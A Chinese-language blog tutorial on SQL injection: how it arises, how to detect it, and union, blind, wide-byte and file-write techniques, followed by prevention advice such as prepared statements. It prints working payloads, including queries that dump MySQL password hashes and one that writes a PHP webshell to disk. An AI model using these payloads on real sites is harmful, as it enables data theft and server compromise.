【Web漏洞探索】SQL注入漏洞

【Web漏洞探索】SQL注入漏洞


请添加图片描述

一、什么是SQL注入漏洞

SQL注入(SQLi)是一种网络安全漏洞,允许攻击者干扰应用程序对其数据库的查询。通过浏览器或者其他客户端将恶意SQL语句插入到网站参数中,而网站应用程序未对其进行过滤,SQL语句带入数据库使恶意SQL语句得以执行可以查看通常无法检索的数据。这可能包括属于其他用户的数据,或应用程序本身能够访问的任何其他数据。在许多情况下,攻击者可以修改或删除这些数据,从而导致应用程序的内容或行为发生持续变化。

在某些情况下,攻击者可以升级SQL注入攻击以破坏底层服务器或其他后端基础架构或执行拒绝服务攻击。

二、SQL注入漏洞成因

web页面源代码对用户提交的参数没有做出任何过滤限制,直接传入SQL语句中去执行,导致特殊字符改变了SQL语句原来的功能和逻辑。黑客利用此漏洞执行恶意的SQL语句,如查询数据、下载数据,写webshell、执行系统命令以此来绕过登录权限限制等。

通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。因此,SQL注入漏洞的产生原因通常表现在以下几方面:

  • 不当的类型处理
  • 不安全的数据库配置
  • 不合理的查询集处理
  • 不当的错误处理
  • 转义字符处理不合适
  • 多个提交处理不当

三、漏洞攻击利用手法

判断SQL注入点
  1. 先加单引号'、双引号"、单括号)、双括号))等看响应是否报错,如果报错就可能存在SQL注入漏洞。(如果未报错,不代表不存在注入,有可能页面对单引号做了过滤,这时可以使用判断语句进行注入。)
  2. 在参数后面加and 1=1and 1=2'and '1'='1'and '1'='2看页面是否显示一样,如果显示不一样的话,肯定存在注入漏洞。
  3. 进行时间盲注(Timing Attack)测试,有时候通过简单的条件语句比如and 1=2是无法看出异常的,此时可以使用sleep()等函数进行时间盲注。
SQL注入种类:
  • 按数据类型可以分为数字型、字符型、搜索型和宽字符
  • 按提交方式可分为GET型、POST型、Cookie型和HTTP请求头
  • 按执行效果可以分为报错注入、联合查询注入、盲注(基于bool和基于时间)和堆查询注入
数字注入

当输入的参数为整型时,通常后台SQL语句为select * from <表名> where id = ?,这种类型可以使用经典的and 1=1and 1=2来判断:
Url地址中输入/test.php?id=1 and 1=1页面依旧运行正常,则可能存在注入,继续进行下一步。
此时后台SQL语句为select * from <表名> where id = 1 and 1=1,语句正确且执行正常,返回的数据与原始请求无任何差异。
Url地址中继续输入/test.php?id=1 and 1=2页面运行错误,则说明此SQL注入为数字型注入。
此时后台SQL语句为select * from <表名> where id = 1 and 1=2,语句正确且执行正常,但存在逻辑错误(1=2为永假),所以与原始请求存在差异。

此外存在以下字段进行判断:

id = 1 and 1=1
id = 1 and 1=2
id = 1 or 1=1
id = '1' or '1'='1'
id=" 1 "or "1"="1"
字符串注入

当输入的参数为字符型时,通常后台SQL语句为select * from <表名> where id = '?',这种类型可以使用经典的and '1'='1and '1'='2来判断:
Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。
Url 地址中继续输入http://xxx/abc.php?id= x' and '1'='2页面运行错误,则说明此 Sql 注入为字符型注入。
原因如下: 当输入 and '1'='1时,后台执行 Sql 语句

Url地址中输入/test.php?id=1' and '1'='1页面依旧运行正常,则可能存在注入,继续进行下一步。
此时后台SQL语句为select * from <表名> where id = '1' and '1'='1',语句正确且执行正常,返回的数据与原始请求无任何差异。
Url地址中继续输入/test.php?id=1' and '1'='2页面运行错误,则说明此SQL注入为数字型注入。
此时后台SQL语句为select * from <表名> where id = '1' and '1'='2',语句正确且执行正常,但存在逻辑错误(‘1’='2’为永假),所以与原始请求存在差异。

联合查询注入

联合查询注入的作用是在原来查询条件的基础上,通过union拼接上select语句,union操作符是实现联合查询的关键,用于合并两个或多个select语句的结果集;当union之前的select语句结果集为空时,查询结果将由union后的select语句控制。

对于页面有回显,通常使用联合查询注入,联合查询语句构造步骤:

  1. 使用order by判断原有查询语句的列数
  2. 使用参数将原有查询语句的结果置空
  3. 判断数据输出的位置
  4. 使用union语句拼接目标数据的查询语句

使用联合查询时,必须使得两张表的表结构一致,因此我们需要判断当前表的列数有多少列,此外还需知道是字符型注入还是数字型注入。

查询当前数据库所有数据:'union select 1,table_name from information_schema.tables where table_schema=database()#
查询当前数据库下数据表abc的所有字段:'union select 1,column_name from information_schema.columns where table_name='abc'#
查询当前数据库下数据表abc的字段user的数据:'union select 1,user from abc#
查询MySQL的root用户和密码hash值:'union select user,authentication_string from mysql.user#

基于bool的盲注

布尔盲注以页面回显内容的不同作为判定依据,通过构造语句返回页面的“真”和“假”来判断数据库信息的正确性。

使用布尔盲注提取数据的基本步骤:

  1. 构造目标数据查询语句
  2. 选择拼接方式
  3. 构造判断表达式
  4. 提取数据长度、大小
  5. 根据判断提取数据内容

常见拼接方式选择有如下:原始条件真and判断条件真,原始条件假OR判断条件真等。

基于bool的盲注通常用函数length()返回长度,ascii()返回ASCII值,substr(str,a,b)返回str以a开头,长度为b的字符串,count()返回数量。

如下可以根据长度返回,测试数据库的长度。

1' and length(database())>3
1' and length(database())<2

然后判断数据库名第一个字符ASCII的大小,逐个推算出数据库名

1' and (ascii(substr(database(),1,1)))>97
// 第二个字符
1' and (ascii(substr(database(),2,1)))>97
1' and (ascii(substr(database(),1,1)))<98

判断数据库中表的数量、表名的长度

1' and (select count(*) from information_schema.tables where table_schema=database())>3
1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5

基于时间的盲注

基于时间的盲注和基于bool的盲注很相似,只不过基于时间的盲注用于不管执行的SQL语句正确与否,页面都不会给任何提示,因此无法使用bool盲注。基于时间的盲注经常用到的函数还有延时函数sleep(),if(c,a,b),如果c为真执行a,否则执行b。

猜解当前数据库名的长度,如果长度大于0就会延时5s:1'and if(length(database())>0,sleep(5),0)

if(length(database())>3,sleep(2),0)

1' and if((select count(*) from information_schema.tables where table_schema=database())>3,sleep(3),0)

// 猜解当前数据库中的第一个数据表的首个字符的ASCII
1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97,sleep(3),0)
文件读写

当有显示列的时候,文件读写可以利用union注入。

//union注入读取/home/test.txt文件
' union select 1,2,load_file("/home/test.txt")

//也可以把转换成16进制0x2f686f6d652f746573742e747874
' union select 1,2,load_file(0x2f686f6d652f746573742e747874)

//利用union注入写入一句话木马into outfile和into dumpfile都可
' union select 1,2,'<?php @eval($_POST[key]);?>' into outfile '/home/test.php'

// 可以将一句话木马转换成16进制的形式
' union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e into outfile '/home/test.php'
REGEXP正则匹配

正则表达式,又称规则表达式(Regular Expression),计算机科学的一个概念。正则表达式通常被用来检索、替换那些符合某个模式(规则)的文本。

//查找name字段中含有a或者b的所有数据
select name from admin where table_name regexp 'a|b'
//查找name字段中含有ab,且ab前有字符的所有数据(.匹配任意字符)
select name from admin where table_name regexp '.ab'
//查找name字段中含有at或bt或ct的所有数据
select name from admin where table_name regexp '[abc]t'
//查找name字段中以a-z开头的所有数据
select name from admin where table_name regexp '^[a-z]'
宽字节注入

宽字节注入是由于不同编码中中英文所占字符的不同所导致的。通常来说,在GBK编码当中,一个汉字占用2个字节。而在UTF-8编码中,一个汉字占用3个字节。在php中,我们可以通过输入echo strlen("中")来测试,当为GBK编码时输出2,而为UTF-8编码时输出3。除了GBK以外所有的ANSI编码都是中文都是占用两个字节。

利用的是MySQL的一个特性,MySQL在使用GBK编码的时候,会认为两个字符是一个汉字,前提是前一个字符的ASCII值大于128,才会两个字符是一个汉字,所以只要我们输入的数据大于等于%81就可以使'逃脱出来了。

四、修复以及预防

控制访问权限

普通用户与系统管理员用户的权限要有严格的区分,限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。

控制最小信息返回

避免直接向用户显示数据库错误,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。

预编译,强迫使用参数化语句

预编译(PreparedStatement),如果在编写SQL语句的时候,用户输入的变量不是直接嵌入到SQL语句。而是通过参数来传递这个变量的话,那么就可以有效的防治SQL注入式攻击。

String sql = "select id, no from user where id=?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setInt(1, id);
ps.executeQuery();

采用了PreparedStatement预编译,就会将SQL语句select id, no from user where id=?预先编译好,也就是SQL引擎会预先进行语法分析,产生语法树生成执行计划,后面输入的参数无论你输入的是什么,都不会影响该SQL语句的语法结构。因为语法分析已经完成了,而语法分析主要是分析SQL命令,比如select、from、where、and、or、order by等等。

SQL注入只对SQL语句的编译过程有破坏作用,而PreparedStatement已经预编译好了,执行阶段只是把输入串作为数据处理不再对SQL语句进行解析。

加强对用户输入的验证

对用户输入的特殊字符进行严格过滤,如'、"、<、>、/、*、;、+、-、&、|、(、)、and、or、select、union、drop、delete

加强对用户输入内容的检查与验证,强迫使用参数化语句来传递用户输入的内容。
在SQLServer数据库中,有比较多的用户输入内容验证工具,可以帮助管理员来对付SQL注入式攻击。测试字符串变量的内容,只接受所需的值。拒绝包含二进制数据、转义序列和注释字符的输入内容。这有助于防止脚本注入,防止某些缓冲区溢出攻击。测试用户输入内容的大小和数据类型,强制执行适当的限制与转换。这即有助于防止有意造成的缓冲区溢出,对于防治注入式攻击有比较明显的效果。

数据库自带的安全参数

为了减少注入式攻击对于SQL Server数据库的不良影响,在SQLServer数据库专门设计了相对安全的SQL参数。在数据库设计过程中,工程师要尽量采用这些参数来杜绝恶意的SQL注入式攻击。
如在SQL Server数据库中提供了Parameters集合。这个集合提供了类型检查和长度验证的功能。如果管理员采用了Parameters这个集合的话,则用户输入的内容将被视为字符值而不是可执行代码。即使用户输入的内容中含有可执行代码,则数据库也会过滤掉。因为此时数据库只把它当作普通的字符来处理。使用Parameters集合的另外一个优点是可以强制执行类型和长度检查,范围以外的值将触发异常。如果用户输入的值不符合指定的类型与长度约束,就会发生异常,并报告给管理员。

多层环境验证

在多层应用环境中,用户输入的所有数据都应该在验证之后才能被允许进入到可信区域。未通过验证过程的数据应被数据库拒绝,并向上一层返回一个错误信息。实现多层验证。对无目的的恶意用户采取的预防措施,对坚定的攻击者可能无效。

五、常用技巧

mysql中注释符:#、/**/、--

information_schema数据库中三个重要的表:

information_schema.schemata:  存储了mysql数据库中的所有数据库的库名
information_schema.tables:   存储了mysql数据库中的所有数据表的表名
information_schema.columns:   存储了mysql数据库中的所有列的列名

常用的查询语句

// 通过这条语句可以得到所有的数据库名
select schema_name from information_schema.schemata

// 通过这条语句可以得到所有的数据表名
select table_name from information_schema.tables

// 通过这条语句可以得到指定security数据库中的所有表名
select table_name from information_schema.tables where table_schema='security'

// 通过这条语句可以得到所有的列名
select column_name from information_schema.columns

// 通过这条语句可以得到指定数据库security中的数据表users的所有列名
select column_name from information_schema.columns where table_schema='security' and table_name='users'

//通过这条语句可以得到指定数据表users中指定列password的数据(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)
select password from users 

常用的获取信息函数:

version():查询数据库的版本          
user():查询数据库的使用者       
database():数据库,当前所在的数据库
system_user():系统用户名
session_user():连接数据库的用户名
current_user():当前用户名
load_file():读取本地文件
@@datadir:读取数据库路径,数据库文件的存放目录
@@basedir:mysql安装路径,数据库的安装目录
@@version_complie_os:查看操作系统
ascii(str) : 返回给定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULL。如 ascii("a")=97
length(str) : 返回给定字符串的长度,如  length("string")=6
substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如  substr("chinese",3,2)="in"
substr()、stbstring()、mid()  三个函数的用法、功能均一致
concat(username):将查询到的username连在一起,默认用逗号分隔
concat(str1,'*',str2):将字符串str1和str2的数据查询到一起,中间用*连接
group_concat(username) :将username数据查询在一起,用逗号连接
limit 0,1:查询第1个数        limit  1,1:查询第2个数             limit  n,1:查询第n+1个数

六、附录

参考链接:
https://mp.weixin.qq.com/s/mP49OCkwqSnamtop0cChdQ
https://mp.weixin.qq.com/s/KRCJJdNWXnHW6S_IFXf7sg
https://mp.weixin.qq.com/s/1HKroWrd6p2eM4o7xS3KVw
https://mp.weixin.qq.com/s/-TrJkX4FUUgOFmS42qbUxw
https://mp.weixin.qq.com/s/lcKMzSNsjqjTkwN-omOY4A
https://blog.csdn.net/qq_36119192/article/details/84138312

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

byzf

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值